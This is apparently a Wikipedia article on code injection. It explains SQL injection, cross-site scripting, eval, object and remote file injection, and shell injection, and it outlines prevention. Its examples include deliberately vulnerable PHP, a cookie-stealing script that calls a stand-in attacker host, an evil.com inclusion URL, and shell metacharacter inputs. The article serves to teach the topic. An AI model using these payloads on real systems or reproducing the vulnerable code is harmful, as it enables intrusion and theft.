Code injection

Not to be confused with Dependency injection.

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Injection is used by an attacker to introduce (or "inject") code into a vulnerable computer program and change the course of execution. The result of successful code injection is often disastrous (for instance: code injection is used by some computer worms to propagate).

Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, XPath, or NoSQL queries; OS commands; XML parsers, SMTP headers, program arguments, etc. Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.[1]

Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.

Certain types of code injection are errors in interpretation, giving special meaning to mere user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine Who's on First?. In the routine, there is a failure to distinguish proper names from regular words. Likewise, in some types of code injection, there is a failure to distinguish user input from system commands.

Code injection techniques are popular in system hacking or cracking to gain information, privilege escalation or unauthorized access to a system. Code injection can be used malevolently for many purposes, including:

Benign and unintentional use of code injection

Code injection may be used with good intentions; for example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent.[2][3] Code injection could, for example,:

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:

Preventing code injection problems

To prevent code injection problems, utilize secure input and output handling, such as:

The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

Examples of code injection

SQL injection

Main article: SQL injection

SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.

For example, consider a web page that has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (password' OR '1'='1) in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

HTML script injection

Main article: Cross-site scripting

A web server has a guestbook script, which accepts small messages from users, and typically receives messages such as

 Very nice site!

However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as

Nice site,  I think I'll take it. <script>window.location="http://some_attacker/cookie.cgi?steal=" +escape(document.cookie)</script>

If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.

 That post was awesome, >:)

HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.[6]

Dynamic evaluation vulnerabilities

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.[7]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Object injection

PHP allows serialization and deserialization of whole objects. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.[8] Such an attack on Joomla was found in 2013.[9]

Remote file injection

Main article: Remote File Inclusion

Consider this PHP program (which includes a file specified by request):

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

The example might be read as only color-files like blue.php and red.php could be loaded, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the external file.

Shell injection

Shell injection (or Command Injection[10]) is named after Unix shells, but applies to most systems which allow software to programmatically execute a command line. Typical shell injection-related functions include system(), StartProcess(), and System.Diagnostics.Process.Start().

Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>

One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):[11]

Shell feature USER_INPUT value Resulting shell command Explanation
Sequential execution ; malicious_command /bin/funnytext ; malicious_command Executes funnytext, then executes malicious_command.
Pipelines | malicious_command /bin/funnytext | malicious_command Sends the output of funnytext as input to malicious_command.
Command substitution `malicious_command` /bin/funnytext `malicious_command` Sends the output of malicious_command as arguments to funnytext.
Command substitution $(malicious_command) /bin/funnytext $(malicious_command) Sends the output of malicious_command as arguments to funnytext.
AND list && malicious_command /bin/funnytext && malicious_command Executes malicious_command iff funnytext returns an exit status of 0 (success).
OR list || malicious_command /bin/funnytext || malicious_command Executes malicious_command iff funnytext returns a nonzero exit status (error).
Output redirection > ~/.bashrc /bin/funnytext > ~/.bashrc Overwrites the contents the .bashrc file with the output of funnytext.
Input redirection < ~/.bashrc /bin/funnytext < ~/.bashrc Sends the contents of the .bashrc file as input to funnytext.

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to use APIs that execute external programs directly, rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells, and/or to be more cumbersome/verbose compared to concise shell-syntax.

See also

References

  1. "OWASP Top 10 2013 A1: Injection Flaws". OWASP. Retrieved 19 December 2013.
  2. Srinivasan, Raghunathan. "Towards More Effective Virus Detectors" (PDF). Arizona State University. Retrieved 18 September 2010. Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
  3. Symptoms-Based Detection of Bot Processes J Morales, E Kartaltepe, S Xu, R Sandhu - Computer Network Security, 2010 - Springer
  4. "The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries". Oracle. Retrieved 19 December 2013.
  5. http://blog.moertel.com/posts/2006-10-18-a-type-based-solution-to-the-strings-problem.html
  6. Hope, Paco; Walther, Ben (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. p. 254. ISBN 978-0-596-51483-9.
  7. Christey, Steven M. (3 May 2006). "Dynamic Evaluation Vulnerabilities in PHP applications". Insecure.org. Retrieved 2008-11-17.
  8. "Unserialize function warnings". PHP.net.
  9. "Analysis of the Joomla PHP Object Injection Vulnerability". Retrieved 6 June 2014.
  10. "Command Injection". OWASP.
  11. http://blackhat.life/Command_Injection

External links

This article is issued from Wikipedia - version of the 12/3/2016. The text is available under the Creative Commons Attribution/Share Alike but additional terms may apply for the media files.